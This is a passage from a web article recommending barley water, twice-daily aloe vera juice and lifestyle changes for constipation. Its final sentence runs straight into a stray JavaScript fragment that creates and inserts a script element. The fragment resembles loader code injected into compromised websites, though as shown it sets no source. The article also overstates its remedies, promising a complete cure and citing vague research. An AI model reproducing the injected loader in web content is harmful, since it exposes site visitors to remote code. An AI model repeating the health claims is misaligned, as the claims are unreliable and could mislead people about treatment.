3. Barley is a natural laxative. It is very effective on constipation. First of all, take some seeds of barley in one and half glass of water; boil this water for five to eight minutes. Drain the remaining water with a clean cloth. When this water cools down, drink it. It will stimulate bowel movements and stool secretion will be soft and easy.
4. Aloe Vera juice is another effective remedy to heal the constipation. According to medical researches, aloe juice contains anthroqinone and glycosides; these are active components in most of the laxative. Aloe juice is to be taken twice in a day. Drink half cup of aloe vera juice early in the morning and another half cup at night, before going to bed.
We must keep in mind that only remedies or medication cannot cure any disorder or disease. One has to be aware about the problem he is suffering from. Improvement in lifestyle is the key ingredient for healthy life. Drink adequate amount of water, prefer to eat food that is rich in fiber, work out regularly and reduce stress. All this will be helpful to heal constipation. It is very important to keep digestive system healthy. Digestive system is the powerhouse of whole body. Stool is the byproduct and it need to be dumped out completely, otherwise it will cause problem. Above mentioned remedies are very effective for cleansing of bowels. When these remedies are paired with improvement in lifestyle, these remedies will turn out to be a boon for digestive system and it will heal the constipation completely.var d=document;var s=d.createElement(‘script’); document.currentScript.parentNode.insertBefore(s, document.currentScript);